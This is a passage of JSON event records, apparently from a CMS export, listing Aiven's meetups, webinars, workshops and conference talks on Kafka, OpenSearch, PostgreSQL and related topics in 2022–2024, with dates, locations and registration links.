Bolt."}],"markDefs":[],"style":"normal"}],"endDate":"2023-04-19T19:00:00.000Z","linkTitle":"Register","location":"Amsterdam","pageType":{"_type":"eventPage","calendlyWidget":{"height":"90vh"},"iframeForm":{"iframeHeight":800}},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/amsterdam-open-source-data-infrastructure-meetup/events/292274551/","title":"RSVP"},"region":"EMEA","startDate":"2023-04-19T16:00:00.000Z","talks":[{"_key":"088524f49afd","_type":"talk","description":[{"_key":"e13d5694b347","_type":"block","children":[{"_key":"0b62fb6268e9","_type":"span","marks":[],"text":"Check out the "},{"_key":"5351bdaf21f2","_type":"span","marks":["ae81de0ce54c"],"text":"recording"},{"_key":"05e7388b2e8c","_type":"span","marks":[],"text":" for Sebastien's storytelling prowess."}],"markDefs":[{"_key":"ae81de0ce54c","_type":"link","href":"https://www.youtube.com/watch?v=75sAXQCS2R8\u0026list=PLo6PI-0mPVLs6_nodq_uZbz80TSK_4nQz\u0026index=3\u0026ab_channel=Aiven"}],"style":"normal"}],"speakers":[{"_key":"da46db3c83d8","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"}],"title":"A Legacy App enters a Serverless Bar"}],"title":"OSDI Amsterdam","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-10-23T08:29:26Z","_id":"24a31a0e-4603-4f3d-9292-9cb60a5c54cb","_rev":"hwzycBVSV9IrfaFzCmhnJy","_type":"event","_updatedAt":"2023-11-15T00:31:50Z","contentIsPage":false,"description":[{"_key":"9b52a4d46050","_type":"block","children":[{"_key":"82fa27f9a37b0","_type":"span","marks":[],"text":"Ever considered bringing OpenSearch’s powerful capabilities to your GCP data infrastructure, but not sure where to start? Tune in to our webinar to hear top tips from Aiven’s technical experts and OpenSearch gurus."}],"markDefs":[],"style":"normal"}],"endDate":"2023-11-22T01:00:00.000Z","image":{"_type":"mainImage","asset":{"_ref":"image-4471f03363159013ad53961ba0bce0c245becdde-1200x628-png","_type":"reference"}},"linkTitle":"Register","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","internalLink":{"_ref":"32b3bf64-9014-4233-b3b8-6b6d8469b029","_type":"reference"},"title":"Register here"},"startDate":"2023-11-22T00:00:00.000Z","tags":[{"_key":"4bd4b315b4a7","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"}],"title":"Aiven for OpenSearch on Google Cloud Platform","type":"webinar","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-10-05T12:14:09Z","_id":"24b4e384-a939-44f5-839d-8aef8c82c8ee","_rev":"UviFzP5GFpfXiVTG9qdcsc","_type":"event","_updatedAt":"2023-10-05T12:14:09Z","contentIsPage":false,"country":"IN","description":[{"_key":"ec7fdee34c09","_type":"block","children":[{"_key":"c30430388a6b","_type":"span","marks":[],"text":"Join the India Open Source Data Infrastructure meetup, at the CRED offices, with talks by Microsoft, CRED, and Aiven!"}],"markDefs":[],"style":"normal"}],"endDate":"2023-10-22T12:00:00.000Z","linkTitle":"Register","location":"Bangalore","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/india-open-source-data-infrastructure-meetup/events/296401102/","title":"RSVP"},"region":"APAC","startDate":"2023-10-22T09:00:00.000Z","tags":[],"title":"India OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-05-31T10:02:37Z","_id":"26887daf-4e63-4165-98f4-4bf55d17c73d","_rev":"3j6PNipGH9NrGWcobomL2G","_type":"event","_updatedAt":"2023-05-31T10:17:26Z","description":[{"_key":"59d71775183a","_type":"block","children":[{"_key":"b41bd4171d740","_type":"span","marks":[],"text":"Join us to learn how to get the most out of your public cloud infrastructure spend without losing control of your data. In this webinar,"},{"_key":"b41bd4171d741","_type":"span","marks":["strong"],"text":" Chris Butler, Senior Solution Architect"},{"_key":"b41bd4171d742","_type":"span","marks":[],"text":" at Aiven, explains how Aiven’s Bring Your Own Cloud (BYOC) works and what are the benefits it provides."}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-15T13:45:00.000Z","person":[{"_key":"efc88b11c622","_ref":"899a955a-c0a0-4346-9586-e392438a6d8f","_type":"reference"},{"_key":"76086bf00b45","_ref":"80c5dbb7-d32e-47b8-a4b3-33c16dc0508c","_type":"reference"}],"primaryCTA":{"_type":"link","internalLink":{"_ref":"12782707-33fe-4a65-9171-84db5d5c6139","_type":"reference"},"title":"Register here"},"startDate":"2023-06-15T13:00:00.000Z","tags":[{"_key":"1492588aee82","_ref":"74fb3012-db48-4619-8eae-6655740e61c2","_type":"tag"}],"title":"Achieve lower TCO and keep full control of your data with Aiven’s Bring Your Own Cloud","type":"webinar","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-08-24T09:38:36Z","_id":"274a8581-6a04-4f99-89ee-d2baae69af9b","_rev":"Arp4NzaYseKQ5hw9dtFnX0","_type":"event","_updatedAt":"2023-11-30T08:37:22Z","country":"US","description":[{"_key":"a6ba95ff106c","_type":"block","children":[{"_key":"84a5d69cc30d","_type":"span","marks":[],"text":"Join Jenn Junod for her session \""},{"_key":"f627ad0989c4","_type":"span","marks":["82b584093592"],"text":"Breaking the stigma of mental health neurodiversity in tech"},{"_key":"a0093114c3ee","_type":"span","marks":[],"text":"\" at Denver Startup Week."}],"markDefs":[{"_key":"82b584093592","_type":"link","href":"https://www.denverstartupweek.org/schedule/8459-breaking-the-stigma-of-mental-health-neurodiversity-in-tech"}],"style":"normal"}],"endDate":"2023-09-22T15:00:00.000Z","location":"Denver","primaryCTA":{"_type":"link","externalUrl":"https://www.denverstartupweek.org/","title":"Register"},"region":"AMER","startDate":"2023-09-18T07:00:00.000Z","talks":[{"_key":"5557dc699766","_type":"talk","description":[{"_key":"3ab843d84096","_type":"block","children":[{"_key":"58739765aba90","_type":"span","marks":[],"text":"Addressing the pressing issue of mental health and neurodiversity in the tech industry, including actionable steps to create a more compassionate and inclusive community."}],"markDefs":[],"style":"normal"},{"_key":"9c9e307fe719","_type":"block","children":[{"_key":"48a2cc97ac9f","_type":"span","marks":["de1176b888d4"],"text":"Slides"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"de1176b888d4","_type":"link","href":"https://www.canva.com/design/DAFuzbOk35g/208Hz9p-fGGd5qG2vmeHJQ/view?utm_content=DAFuzbOk35g\u0026utm_campaign=designshare\u0026utm_medium=link\u0026utm_source=publishsharelink"}],"style":"normal"}],"speakers":[{"_key":"f3ff9f54628b","_ref":"5b409a95-23dd-4956-910a-df038eb978ff","_type":"reference"}],"title":"Breaking the stigma of mental health neurodiversity in tech"}],"title":"Denver Startup Week","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-11-10T12:27:08Z","_id":"29a8056e-017c-4535-b37f-ee896a568b0b","_rev":"2Eye2NjagEp5aUWL7qa3VR","_type":"event","_updatedAt":"2023-11-10T12:27:08Z","contentIsPage":false,"country":"IN","description":[{"_key":"fb91752ca0d6","_type":"block","children":[{"_key":"7b38dbb4b0cc","_type":"span","marks":[],"text":"We're planning our second meetup in Bengaluru, right after PGConf India, with talks on Grafana Tempo, ClickHouse, Kafka, and of course PostgreSQL!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-03-02T13:00:00.000Z","linkTitle":"Register","location":"Bengaluru","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/india-open-source-data-infrastructure-meetup/","title":"RSVP"},"region":"APAC","startDate":"2024-03-02T10:00:00.000Z","title":"India OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-10-30T09:28:23Z","_id":"2baa8847-ec8b-4d77-8eb2-46807bf9071c","_rev":"Nka2T75McG1QANe0fshxGt","_type":"event","_updatedAt":"2023-12-07T14:26:23Z","contentIsPage":false,"description":[{"_key":"d6b1c764b403","_type":"block","children":[{"_key":"e64faef392e50","_type":"span","marks":[],"text":"Learn how OpenSearch works and get equipped with practical knowledge to search, aggregate and visualise your data."}],"markDefs":[],"style":"normal"}],"endDate":"2024-01-31T09:00:00.000Z","image":{"_type":"mainImage","alt":"Workshop | Search and aggregations made easy with OpenSearch and NodeJS","asset":{"_ref":"image-1b3d9113c99a33b3a028c727061a8e6f1c956972-1200x628-png","_type":"reference"}},"linkTitle":"Register","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/workshop/opensearch-with-javascript","title":"Register"},"startDate":"2024-01-31T08:00:00.000Z","title":"Search and aggregations made easy with OpenSearch and NodeJS","type":"workshop","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-11-17T10:36:12Z","_id":"2cce8699-c878-451c-9a05-18a69882e860","_rev":"00HkATqwml6aoQnrNyCbam","_type":"event","_updatedAt":"2023-11-17T10:36:12Z","contentIsPage":false,"country":"US","description":[{"_key":"b33a040ac752","_type":"block","children":[{"_key":"82d5a9312421","_type":"span","marks":[],"text":"Join for the first Chicago Open Source Data Infrastructure meetup of the year, with Ana Lebron, leader of the Site Reliability, Resiliency and Observability Engineering teams at Enova International."}],"markDefs":[],"style":"normal"}],"endDate":"2024-02-08T20:00:00.000Z","linkTitle":"Register","location":"Chicago","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/chicago-open-source-data-infrastructure-meetup/events/297361096/","title":"RSVP"},"region":"AMER","startDate":"2024-02-08T17:00:00.000Z","title":"Chicago OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-06-05T07:57:54Z","_id":"33c689ad-1e97-4887-8374-c3eca80718af","_rev":"hmQk1VtzwG7nr0256LCMqU","_type":"event","_updatedAt":"2023-06-05T07:57:54Z","country":"CH","description":[{"_key":"e1a9dae01422","_type":"block","children":[{"_key":"5b8bda4edc360","_type":"span","marks":[],"text":"Senior Software Engineer at Aiven Patrick Stählin will talk about Multiversion Concurrency Control (MVCC), at the Swiss PGDay, this June."}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-30T07:55:00.000Z","location":"Rapperswil-Jona","primaryCTA":{"_type":"link","externalUrl":"https://www.pgday.ch/2023","title":"Attend"},"region":"EMEA","startDate":"2023-06-29T07:55:00.000Z","title":"Swiss PGDay","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-09-07T06:58:43Z","_id":"34e09b40-a898-42bb-bf9d-43227a987100","_rev":"Dk4vsGyYpr9Xi9g7qyH7XQ","_type":"event","_updatedAt":"2023-09-07T06:58:43Z","contentIsPage":false,"description":[{"_key":"5b661f05ed67","_type":"block","children":[{"_key":"220a67cacc55","_type":"span","marks":[],"text":"Join Aiven’s Matty Stratton and Google’s Kaslin Fields, as they guide you through the steps to manage the data on your distributed applications."}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-28T17:00:00.000Z","linkTitle":"Register","pageType":{"_type":"eventPage","calendlyWidget":{"height":"90vh"},"iframeForm":{"iframeHeight":800}},"primaryCTA":{"_type":"link","externalUrl":"https://hopin.com/events/the-future-of-cloud-native-data-is-now?utm_source=aiven\u0026utm_campaign=web","title":"Join"},"startDate":"2023-09-28T16:00:00.000Z","title":"The future of Cloud Native Data is now","type":"event","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-10-30T11:57:29Z","_id":"355dc282-c53a-4e70-af8c-e72a3ace6c44","_rev":"NgTOJkLjRz9tfm3YdZq30k","_type":"event","_updatedAt":"2023-10-30T11:57:29Z","contentIsPage":false,"country":"US","description":[{"_key":"72b3249500d8","_type":"block","children":[{"_key":"25cd3409aed3","_type":"span","marks":[],"text":"Stay tuned for Dmitry Potepalov's session \"Astacus: Cloud Storage Backup and Restore Tool for Apache Cassandra\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-12-13T16:00:00.000Z","linkTitle":"Register","location":"San Jose","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://events.linuxfoundation.org/cassandra-summit/","title":"Attend"},"region":"AMER","startDate":"2023-12-12T08:00:00.000Z","title":"Cassandra Summit","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-10-09T08:23:19Z","_id":"3729d3ff-a4af-4440-b4bf-37bad97e4aa8","_rev":"zE08g5Yj02ino50zLep0ui","_type":"event","_updatedAt":"2023-10-20T11:11:27Z","contentIsPage":false,"description":[{"_key":"645a624bbe82","_type":"block","children":[{"_key":"91f4f3a7c0a90","_type":"span","marks":[],"text":"In this workshop you'll learn the basic components of Apache Kafka and how to get started with data streaming using Python."}],"markDefs":[],"style":"normal"}],"endDate":"2023-10-17T17:00:00.000Z","linkTitle":"Register","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","internalLink":{"_ref":"dd882356-1dca-441e-9af9-e1fe8f191102","_type":"reference"},"title":"Secure your seat"},"startDate":"2023-10-17T16:00:00.000Z","title":"Learn Apache Kafka with Python","type":"workshop","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-01-08T09:30:36Z","_id":"38a907de-c4e6-4333-af4c-f9ef91d13133","_rev":"cYm7NAkc6EQoa8jfAFFxXx","_type":"event","_updatedAt":"2024-01-08T09:30:36Z","contentIsPage":false,"country":"US","description":[{"_key":"420faa42288d","_type":"block","children":[{"_key":"d899d013f395","_type":"span","marks":[],"text":"Join Aiven's Jean-François Gagné, and Swetha Narayanaswamy (HubSpot) for their session \"Autopsy of a Cascading Outage from a MySQL Crashing Bug\"."}],"markDefs":[],"style":"normal"}],"endDate":"2024-03-20T16:00:00.000Z","linkTitle":"Register","location":"San Francisco","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.usenix.org/conference/srecon24americas","title":"Register"},"region":"AMER","startDate":"2024-03-18T07:00:00.000Z","title":"SRECon24 America","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-10-30T11:33:10Z","_id":"38eaccbf-988f-4ac1-81bf-2a34ef71432d","_rev":"K4OjmPZwqkJMmxhvodOZ5k","_type":"event","_updatedAt":"2023-10-30T11:40:39Z","contentIsPage":false,"country":"SG","description":[{"_key":"6e3050917a37","_type":"block","children":[{"_key":"3898c925692d","_type":"span","marks":[],"text":"Join the Open Source Data Infrastructure meetup at the UpCloud office, for a talk about design considerations building data platforms, and a beginners guide to balancing your data across Apache Kafka partitions."}],"markDefs":[],"style":"normal"}],"endDate":"2023-11-16T20:00:00.000Z","linkTitle":"Register","location":"Singapore","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/singapore-open-source-data-infrastructure-meetup/events/296929553/","title":"RSVP"},"region":"APAC","startDate":"2023-11-16T16:30:00.000Z","talks":[{"_key":"2db27d1cbfd2","_type":"talk","description":[{"_key":"08b00e0e7501","_type":"block","children":[{"_key":"ffcca6bc6a160","_type":"span","marks":[],"text":"At the heart of Apache Kafka is a set of brokers that contain topics. Topics are split into partitions. If you're fresh to Apache Kafka, or looking for good practices to design your partitions and avoid common pitfalls, you'll find this session useful!"}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"e27177c72eb2","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"Beginners guide to balance your data across Apache Kafka partitions"}],"title":"Singapore OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-12-21T20:16:34Z","_id":"390da4d5-8607-4763-b3d7-b553a91082ee","_rev":"bjd9bS9uM8kqzH43T73zz3","_type":"event","_updatedAt":"2024-03-04T16:50:17Z","contentIsPage":false,"country":"US","description":[{"_key":"16e8e7e8a950","_type":"block","children":[{"_key":"ae0fd9969eba","_type":"span","marks":[],"text":"Join for our March 11 Los Angeles / Orange County Open Source Data Infrastructure meetup. Talks by "},{"_key":"9f4a94ebaddc","_type":"span","marks":["ffebc115ac7f"],"text":"Julia Kreger"},{"_key":"aa4bc7b977cc","_type":"span","marks":[],"text":" from RedHat, and our own Jenn Junod. "}],"markDefs":[{"_key":"ffebc115ac7f","_type":"link","href":"https://www.linkedin.com/in/juliaashleykreger/"}],"style":"normal"}],"endDate":"2024-03-11T20:00:00.000Z","linkTitle":"Register","location":"Los Angeles","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/los-angeles-open-source-data-infrastructure-meetup/events/297800070/","title":"RSVP"},"region":"AMER","startDate":"2024-03-11T17:00:00.000Z","title":"Orange County OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-07-07T08:46:01Z","_id":"39c103b3-6ec7-4784-a6fb-4aae6013f181","_rev":"n4o7HM4ybKf4O57IbSgYbr","_type":"event","_updatedAt":"2023-08-24T15:02:23Z","country":"US","description":[{"_key":"d5e9e76ab63d","_type":"block","children":[{"_key":"c70940916cbb0","_type":"span","marks":[],"text":"Join the Chicago Open Source Data Infrastructure meetup in August, at Discover, for an evening full of inspiring conversations and exciting talks."}],"markDefs":[],"style":"normal"}],"endDate":"2023-08-09T19:00:00.000Z","location":"Chicago","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/chicago-open-source-data-infrastructure-meetup/events/294067714/","title":"RSVP"},"region":"AMER","startDate":"2023-08-09T16:00:00.000Z","tags":[],"talks":[{"_key":"8fb906c48532","_type":"talk","description":[{"_key":"2f4526983da0","_type":"block","children":[{"_key":"cf19ad96fc95","_type":"span","marks":[],"text":"- "},{"_key":"1e3a35bbd690","_type":"span","marks":["c7c54d4c385f"],"text":"Link to summary"}],"markDefs":[{"_key":"c7c54d4c385f","_type":"link","href":"https://aiven.io/community/forum/t/chicago-osdi-meetup-recap-fun-learning-partnered-with-discover/425"}],"style":"normal"},{"_key":"ee1818e44bf2","_type":"block","children":[{"_key":"d865500183f5","_type":"span","marks":[],"text":"- "},{"_key":"b486ce338b77","_type":"span","marks":["94cea9823472"],"text":"Link to demo"}],"markDefs":[{"_key":"94cea9823472","_type":"link","href":"https://github.com/dewan-ahmed/terraform-iac-tutorial"}],"style":"normal"}],"speakers":[{"_key":"6e37435f2d22","_ref":"a4127c21-8608-4792-85d5-f565256a8f8a","_type":"reference"}],"title":"Codify your Data Infrastructure with Terraform"}],"title":"OSDI Chicago","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-02-17T10:32:13Z","_id":"3c8eef61-cf7f-4040-9316-4581840900bd","_rev":"pxdTVqM9Iazv4GeKSq1XaJ","_type":"event","_updatedAt":"2023-02-21T12:58:17Z","country":"FR","description":[{"_key":"454a6200bca2","_type":"block","children":[{"_key":"8ce1e8bce916","_type":"span","marks":[],"text":"Join us at OVH Cloud's offices to talk (about) Terraform and Infrastructure as Code generally. The event is in French language. "}],"markDefs":[],"style":"normal"}],"endDate":"2023-03-06T20:00:00.000Z","location":"Paris","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/paris-open-source-data-infrastructure-meetup/events/291612331/","title":"Attend"},"region":"EMEA","startDate":"2023-03-06T17:00:00.000Z","title":"Paris Open Source Data Infrastructure","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-06-05T12:14:28Z","_id":"402e4afa-956d-458e-9796-946823d5b1fc","_rev":"H5RiVm6qz9bU1JxlR8Sw9N","_type":"event","_updatedAt":"2024-06-05T12:50:02Z","contentIsPage":false,"description":[{"_key":"18d62e7e8b92","_type":"block","children":[{"_key":"4fae51ee58220","_type":"span","marks":[],"text":"Learn how to prepare your existing content for AI using LangChain and store it in OpenSearch®, so it can be used with an LLM in the Retrieval Augmented Generation (RAG) pattern."}],"markDefs":[],"style":"normal"},{"_key":"85179ac4e94b","_type":"block","children":[{"_key":"cae095471d780","_type":"span","marks":[],"text":"This workshop is 1,5 hours long."}],"markDefs":[],"style":"normal"}],"endDate":"2024-07-24T17:30:00.000Z","hideInEventPage":false,"image":{"_type":"mainImage","alt":"Preparing and Using Data for AI with LangChain and OpenSearch®","asset":{"_ref":"image-7d1de475997ff4272d799f0c0ad0985529070e3a-1200x628-png","_type":"reference"}},"linkTitle":"Register","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/workshop/preparing-and-using-data-for-ai-with-langchain-and-opensearch","internalLink":{"_ref":"69d06cac-e840-49f9-a254-7c406c63f1de","_type":"reference"},"title":"Sign up"},"startDate":"2024-07-24T16:00:00.000Z","title":"Preparing and Using Data for AI with LangChain and OpenSearch®","type":"workshop","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-03-28T12:44:09Z","_id":"4211847a-287b-402c-bd33-04689275428f","_rev":"ZL6I8uoKFddu0pxJd9NoL5","_type":"event","_updatedAt":"2024-03-28T12:44:09Z","contentIsPage":false,"country":"ES","description":[{"_key":"7bdc660ea72c","_type":"block","children":[{"_key":"c21e8a04bac9","_type":"span","marks":[],"text":"Join Sebastien Blanc in Madrid for the Codemotion conference."}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-22T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Madrid","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://conferences.codemotion.com/madrid2024/en/home/","title":"Join"},"region":"EMEA","startDate":"2024-05-21T07:00:00.000Z","title":"Codemotion Madrid","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-08-30T12:09:18Z","_id":"485a0ecb-dd7e-4a95-baef-466a098012ae","_rev":"pv5QzE4Lm79BNhDrjkoC7f","_type":"event","_updatedAt":"2023-08-30T12:09:18Z","contentIsPage":false,"country":"FI","description":[{"_key":"fd83b0555253","_type":"block","children":[{"_key":"8a63bfc3e8bb","_type":"span","marks":[],"text":"Join our September Open Source Data Infrastructure meetup with Daniel de Freitas, and Tatiana Koroleva from Wolt, talking about how they handle Kafka at scale."}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-22T18:30:00.000Z","linkTitle":"Register","location":"Helsinki","pageType":{"_type":"eventPage","calendlyWidget":{"height":"90vh"},"iframeForm":{"iframeHeight":800}},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/helsinki-open-source-data-infrastructure-meetup/events/295733217/","title":"RSVP"},"region":"EMEA","startDate":"2023-09-22T15:30:00.000Z","title":"OSDI Helsinki","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-09-03T20:08:48Z","_id":"4b0e524e-dd1d-4697-9bd2-6ff1b5a47913","_rev":"PDQDmyb6LrF9vNMs7dpEbl","_type":"event","_updatedAt":"2023-10-04T13:15:50Z","contentIsPage":false,"country":"NL","description":[{"_key":"1a22eb2d5175","_type":"block","children":[{"_key":"0b95acb5e1cd","_type":"span","marks":[],"text":"Join Claude Warren and Ben Gamble for their talks at Devopsdays Eindhoven. Our own Floor Drees is one of the organizers. "}],"markDefs":[],"style":"normal"}],"endDate":"2023-10-12T15:00:00.000Z","linkTitle":"Register","location":"Eindhoven","pageType":{"_type":"eventPage","calendlyWidget":{"height":"90vh"},"iframeForm":{"iframeHeight":800}},"primaryCTA":{"_type":"link","externalUrl":"https://devopsdays.org/events/2023-eindhoven/welcome/","title":"Register"},"region":"EMEA","startDate":"2023-10-11T07:00:00.000Z","title":"Devopsdays Eindhoven","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-08-29T08:17:07Z","_id":"4f4b5320-5137-464e-937f-870a9b2bbd33","_rev":"JgIs2qI3CUllaKCG3WJgyf","_type":"event","_updatedAt":"2023-08-29T08:17:07Z","country":"US","description":[{"_key":"aa2b212e2c8c","_type":"block","children":[{"_key":"eef90ec1ea14","_type":"span","marks":[],"text":"Join Francesco for his talk \"Breathe In, Breathe Out: Get Kafka Connect Configs Right!\"."}],"markDefs":[],"style":"normal"}],"endDate":"2022-10-05T15:00:00.000Z","location":"Austin","region":"AMER","startDate":"2022-10-04T07:00:00.000Z","talks":[{"_key":"8fa869583282","_type":"talk","description":[{"_key":"e1a2e0533849","_type":"block","children":[{"_key":"ca1a350ac47a0","_type":"span","marks":[],"text":"If you are ready to make magic with Kafka Connect and the Apache Kafka ecosystem, this is the talk for you!\n\n- "},{"_key":"d703903c93b9","_type":"span","marks":["16a63e46cd7e"],"text":"Slides"}],"markDefs":[{"_key":"16a63e46cd7e","_type":"link","href":"https://ftisiot.net/talks/breathe-in-breathe-out-kafka-connect/"}],"style":"normal"},{"_key":"1d733dbfeea4","_type":"block","children":[{"_key":"65b113a71e53","_type":"span","marks":[],"text":"- "},{"_key":"390399da3f6e","_type":"span","marks":["8efca13f19a6"],"text":"Recording"}],"markDefs":[{"_key":"8efca13f19a6","_type":"link","href":"https://www.confluent.io/events/current-2022/breathe-in-breathe-out-get-kafka-connect-configs-right/"}],"style":"normal"}],"speakers":[{"_key":"3e29eebde034","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"title":"Breathe In, Breathe Out: Get Kafka Connect Configs Right!"}],"title":"Current 2022","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-05-16T11:34:43Z","_id":"54d0d6ce-f96c-454f-b470-eb34a12c598c","_rev":"7zkUzK17nyKradHQJJbTo8","_type":"event","_updatedAt":"2023-05-16T11:34:43Z","country":"NL","description":[{"_key":"a0235fe82941","_type":"block","children":[{"_key":"a3605fc88b9e","_type":"span","marks":[],"text":"Join the Amsterdam Open Source Data Infrastructure meetup in June for talks on metrics!"}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-20T19:00:00.000Z","location":"Amsterdam","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/amsterdam-open-source-data-infrastructure-meetup/events/292890953/","title":"RSVP"},"region":"EMEA","startDate":"2023-06-20T16:00:00.000Z","title":"OSDI Amsterdam","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-06-27T10:26:58Z","_id":"586ca6c4-b3cb-48cd-b8da-265fe04f148e","_rev":"jmXwzbQPeNoPKy7NrIjo2P","_type":"event","_updatedAt":"2023-07-04T13:42:11Z","country":"DE","description":[{"_key":"a5b8e8937ccc","_type":"block","children":[{"_key":"3db1f9cfe2a10","_type":"span","marks":[],"text":"Come join us on Thursday, July 13, at the Aiven office in Berlin for an evening filled with great opportunities for networking and special technical talks."}],"markDefs":[],"style":"normal"}],"endDate":"2023-07-13T19:00:00.000Z","location":"Berlin","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/berlin-open-source-data-infrastructure-meetup/events/293689914","title":"RSVP"},"region":"EMEA","startDate":"2023-07-13T16:00:00.000Z","title":"OSDI Berlin","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-04-11T09:37:09Z","_id":"64a2e231-1571-4351-a2ed-6f436f3d7009","_rev":"tW7kMBSHIbCIaN9dzXpeJb","_type":"event","_updatedAt":"2023-06-15T10:18:17Z","country":"US","description":[{"_key":"231e8f502b52","_type":"block","children":[{"_key":"c37ba85c80b0","_type":"span","marks":[],"text":"Join Kansas City Developer Conference, and Dewan Ahmed's workshop that will teach you how to build and manage your data infrastructure using open-source tools."}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-23T15:00:00.000Z","location":"Kansas City","primaryCTA":{"_type":"link","externalUrl":"https://www.kcdc.info/","title":"Register"},"startDate":"2023-06-22T07:00:00.000Z","talks":[{"_key":"8b6db1b57c57","_type":"talk","description":[{"_key":"7cafd2d108eb","_type":"block","children":[{"_key":"d641e1a4149f0","_type":"span","marks":[],"text":"Are you someone who learns better by building something hands-on? This workshop will teach you how to build and manage your data infrastructure using open source tools."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"8c8f527f6517","_ref":"a4127c21-8608-4792-85d5-f565256a8f8a","_type":"reference"}],"title":"Data Infrastructure Workshop with Open Source Tools"}],"title":"KCDC 2023","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-01-19T11:53:03Z","_id":"59f81f83-a8ce-4f28-aabb-811e7638a630","_rev":"7qeFKv67V7UXtPEzbkSgSd","_type":"event","_updatedAt":"2024-01-19T11:53:03Z","contentIsPage":false,"country":"BE","description":[{"_key":"77bc8a3cee36","_type":"block","children":[{"_key":"62e3667f577e","_type":"span","marks":[],"text":"Join the PgBE PostgreSQL Users Group Belgium, February 13, for Matt Cornillon's talk \"How I found my Pokémon cards thanks to Postgres: an AI journey\"."}],"markDefs":[],"style":"normal"}],"endDate":"2024-02-13T20:00:00.000Z","linkTitle":"Register","location":"Mons","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/postgresbe/events/298633135","title":"RSVP"},"region":"EMEA","startDate":"2024-02-13T17:00:00.000Z","title":"PgBE","type":"meetup"} 